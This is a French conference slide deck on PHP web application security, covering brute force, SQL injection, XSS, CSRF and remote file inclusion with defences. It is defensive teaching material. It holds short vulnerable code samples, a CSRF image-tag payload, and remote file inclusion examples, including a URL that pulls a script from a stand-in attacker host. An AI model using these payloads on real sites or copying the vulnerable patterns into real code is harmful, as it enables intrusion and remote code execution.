Sécurité des applications web

J’ai des trous, des p’tits trous, encore des p’tits trous...Sécurité des applications web en PHP - Sébastien Pauchet et Frank Taillandier - 10 octobre 2009 - Paris Web

Sébastien Pauchet seb@automne-cms.org - @automne_cms‣ Responsable technique chez WS interactive‣ Architecte logiciel du CMS open-source Automne‣ Ingénieur PHP5 certiﬁé par Zend‣ 10 ans de développement Web

Frank Taillandier frank@automne-cms.org - @DirtyF‣ Responsable qualité chez WS Interactive‣ «Expert» en accessibilité web‣ Community manager CMS open-source Automne

Sécurité ?

Sécurité : déﬁnition« Les principes de la sécurité dune application sont un ensemble depropriétés souhaitables de comportement, de design et de mise enoeuvre qui contribuent à réduire la probabilité de la réalisation et delimpact de menaces. Les principes de sécurité sont indépendants dulangage et de larchitecture et peuvent être un levier dans la plupartdes méthodologies de développement pour concevoir et construire desapplications.En considérant ces principes nous pouvons prendre des décisionsdarchitecture et dimplémentation et identiﬁer les faiblesses possiblesdes systèmes. » Source : OWASP (Open Web Application Security Project)

97% des sites web sont hautement vulnérables http://www.webappsec.org/projects/statistics/

Points essentiels1. Mettre en place une défense en profondeur (sécurité à tous les niveaux)2. Minimiser la surface d’attaque3. Minimiser la portée des erreurs4. Exécuter avec le minimum de droits5. Eviter de baser uniquement la sécurité sur un système fermé6. Garder un système de sécurité simple (KISS)7. Pouvoir détecter les intrusions (garder une verbosité suffisante des fichiers journaux)8. Ne jamais faire confiance à l’infrastructure9. Ne pas se fier aux utilisateurs10. Mettre en place une sécurité par défaut psychologiquement acceptable

Ouvert 24/24

Les 3 phases d’un exploit Détection • Recherche d’informations liées aux applications et au système • Tests automatisés Les attaques les plus critiques • Injection SQL : 8% des sites web vulnérables (Source : stats WASC 2007) • XSS (Cross site scripting) : 31,5% des sites web vulnérables • CSRF (Cross site request forgery) • RFI (Remote ﬁle inclusion) Exploitation • Prendre le contrôle de votre infrastructure (accès au serveur) • Obtenir vos données • Modiﬁer vos données • Vous empêcher de communiquer (DOS : denial of service)

Les attaques

Brute Force

Brute force• Conséquence : réussir à passer les login/mot de passe, accéder à des données conﬁdentielles.• Exemple à fournir (formulaire HTML login- password)• Comment s’en prévenir ?• Timer (chaque mauvaise tentative entraine un délai de 5 secondes) Sécurité des applications web - Sébastien Pauchet et Frank Taillandier - 8 octobre 2009 - Paris Web

Injections SQL

Injection SQLDifférents types d’injection : SQL, LDAP, XPath, XSLT,HTML, XML, commandes systèmes et beaucoupd’autres.Déﬁnition : Les attaquants dupent linterpréteur enlui faisant exécuter des commandes non prévues.Conséquences : Permettre de créer, lire, modiﬁer oueffacer les données de l’application.

Injection SQLExempleSi la donnée provenant d’un utilisateur est envoyée à un interpréteur sans aucune validationou encodage, l’application est vulnérable :$sql = "SELECT * FROM table WHERE id = " . $_REQUEST [id’] . "’";

Injection SQLSolutions• Validation de toutes les données d’entrée.• Evitez les messages d’erreurs détaillés.• Utilisez de préférence des requêtes SQL stockées ou les requêtes paramètrées.• N’utilisez pas les fonctions d’échappements simples.

XSS : cross-site scripting

XSS : cross-site scriptingDéﬁnition : XSS consiste à injecter du code HTMLou Javascript sur un site.Conséquences : Détourner des sessions utilisateur,déﬁgurer des sites web, insérer du contenu hostile,effectuer des attaques par phishing, et prendre lecontrôle du navigateur de lutilisateur.

XSS : cross-site scriptingPar réflexion : une page renverra à lutilisateur desdonnées fournies directement à celui-ci :echo $_REQUEST [userinput];Par stockage : stocke des donées hostiles, etultérieurement, affiche les données non filtrées à lutilisateur.Par injection DOM : le code JavaScript et les variables dusite sont manipulés plutôt que les éléments HTML.

XSS : cross-site scriptingSolutionsValidation d’entrée : valider la longueur, le type et la syntaxe de toute entréesaisie avant daccepter lafﬁchage ou le stockage des données. Accepter seulementquelque chose de connu (whitelist). Rejeter toute entrée invalide.Encodage des données en sortie : Assurez-vous que toutes les donnéesécrites par lutilisateur sont convenablement codées par entité avant le rendu.Pas de blacklist pour détecter XSS. La recherche et le remplacement de justequelques caractères ("<" ">" et dautres caractères ou expressions semblables tellesque "script") est faible. Même un tag non vériﬁé "<b>" est dangereux dans certainscontextes.Plus d’exemples sur http://ha.ckers.org/xss.html

CSRF : cross-site request forgery

CSRF : cross-site request forgeryDéfinitionForcer le navigateur dune victime ayant une session ouverte sur uneapplication web à effectuer une requête sur cette dernière application.A la différence du XSS qui exploite la confiance d’un utilisateur envers unsite, CSRF exploite la confiance d’un utilisateur envers son navigateur.ConséquencesToute application web qui ...• ne dispose pas de vérifications dautorisation (confirmation, jeton) avant deffectuer des actions,• autorise des requêtes basées sur une authentification automatique (cookies de session, ‘Se souvenir de moi’),... est vulnérable.

CSRF : cross-site request forgery• Bob est ladministrateur dun forum, il y est connecté par un système de sessions.• Alice est un membre, elle veut supprimer un des messages. Elle na pas les droits nécessaires avec son compte. Elle va utiliser celui de Bob grâce à une attaque de type CSRF.• Alice arrive à connaître le lien qui permet de supprimer le message.• Alice envoie à Bob un email contenant une pseudo-image à afficher : <img src="http://bob.com/delete.php?post=id" />• Le navigateur de Bob affiche la pseudo-image ce qui actionne le lien. Ne reconnaissant pas le type dimage associé, le navigateur naffiche rien.• Bob ne sait pas quAlice vient de lui faire supprimer un message.

CSRF : Cross Site Request ForgerySolution• Ne pas utiliser de requête HTTP GET pour effectuer des actions.• Demander des conﬁrmations à lutilisateur pour les actions critiques.• Utiliser des jetons de validité dans les formulaires : <? ! $token = sha1(rand(0, 99999)); ! $token_name = sha1(rand(0, 99999)); ! $_SESSION[token] = $token; ! $_SESSION[token_name] = token_name(); ?> <form action="/add_post.php" method="post"> ! <input type="hidden" name="<?php echo $token_name; ?>" value="<?php echo $token; ?>" /> ! <p>Subject: <input type="text" name="post_subject" /></p> ! <p>Message: <textarea name="post_message"></textarea></p> ! <p><input type="submit" value="Add Post" /></p> </form>• Pour les requêtes Ajax : utiliser un header HTTP spéciﬁque à votre application pour signer la requête.

RFI : Remote File Inclusion

RFI : Remote File InclusionDéfinition : Linclusion de fichier distant permet dexécuter son propre code survotre serveur en exploitant la possibilité de linclure directement dans votre site.Conséquences : Fournir des données d’entrée (comme des URLs) dans desfonctions de gestion de fichiers non vérifiées peut conduire :• à l’exécution de code distant,• à l’installation de rootkit pour compromettre votre système.Cette attaque est particulièrement répandue sur PHP, un soin extrême doit êtrepris avec tout flux ou toute fonction de fichier afin de sassurer que lentrée fourniepar lutilisateur ninfluence pas les noms de fichiers.

RFI : Remote File Inclusion Avant PHP 4.2 (ou allow_url_fopen + register_globals activé) : include $_SERVER[‘DOCUMENT_ROOT’].’/fichier.php’; Vulnérable avec l’URL : http://site.tld/file.php?_SERVER[DOCUMENT_ROOT]=http://hacker.tld/ script.ext Toute version de PHP (quelque soit la conﬁguration) : include $_REQUEST[filename’];Exemple 1: Utiliser php://input pour lire les données POST <?php // L’inclusion suivante va inclure et exécuter toutes // les données POST include "php://input"; ?>Exemple 2: Utiliser data: pour inclure du code arbitraire <?php // L’inclusion suivante va exécuter le code encodé en // base64 : Ici, un phpinfo() include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+"; ?>

RFI : Remote File InclusionSolution• Filtrer les entrées utilisateurs (whitelist).• Sécuriser les configurations (désactiver allow_url_fopen, allow_url_include (PHP 5.2), register_globals).• Ne pas inclure de fichiers depuis une variable.• Vérifiez que les fonctions de fichiers et de gestion de flux sont soigneusement contrôlées. Les données utilisateurs ne doivent pas être utilisées par des fonctions prenant un fichier en argument. Exemple, les fonctions suivantes : include() include_once() require() require_once() fopen() imagecreatefromXXX() file() file_get_contents() copy() delete() unlink() upload_tmp_dir() $_FILES move_uploaded_file()

ConclusionPour les développeurs• Pensez à la sécurité lors de la conception de vos applications ;• Adopter les standards de codage ;• Refactorisez le code existant pour utiliser des conceptions plus sûres ;• Testez votre code pour identiﬁer tout défaut de sécurité ;• Consultez les ouvrages de références.Pour les décideurs• Employez des développeurs qui ont une réelle ou forte expérience dans la sécurité ou formez-les !• Faites tester les défauts de sécurité tout au long du projet : conception, construction, test et déploiement ;• Allouez des ressources, du budget et du temps dans le plan projet pour remédier aux problèmes de sécurité ;• Considérez lutilisation dauditeurs de code tiers.

Ressources• OWASP : Open Web Application Security Project• Les dix vulnérabilités de sécurité applicatives web les plus critiques 2007• Adam Barth, Collin Jackson, and John C. Mitchell : Robust defenses for CSRF• http://ha.ckerz.org : Web Application Security Lab• http://sectools.org/ : logiciels de test automatisés (Nikto, WebScarab, Acunetix, WebInspect,)• http://www.php.net/manual/security• MISC (Multi-system & Internet Security Cookbook) est un magazine bimestriel français spécialisé dans la sécurité informatique

Crédits photos• Impact : http://www.flickr.com/photos/dirtyf/3369077142/• Security Guard : http://www.flickr.com/photos/f1rstborn/2440157127/• Hi Jacking Hot Spot : Luka Skracic• Open : http://www.flickr.com/photos/mag3737/1914076277/• Pirates : http://www.flickr.com/photos/joriel/3230590513/• Injections : http://www.flickr.com/photos/limowreck666/223731385/• Bike air : http://www.flickr.com/photos/dirtyf/3518547212/• Surf fail : http://www.flickr.com/photos/edwindejongh/369296684/• Remote : http://www.flickr.com/photos/cayusa/2530412232/

http://frank.taillandier.free.fr	85
http://lanyrd.com	21
http://www.slideshare.net	18
http://intranet-bigyouth	9
http://automne4.42	2
http://test-v4	2
http://www.linkedin.com	2
http://static.slidesharecdn.com	1

Sécurité des applications web

by Frank Taillandier

Accessibility

Categories

Upload Details

Usage Rights

8 Embeds 140

Statistics

Sécurité des applications web Presentation Transcript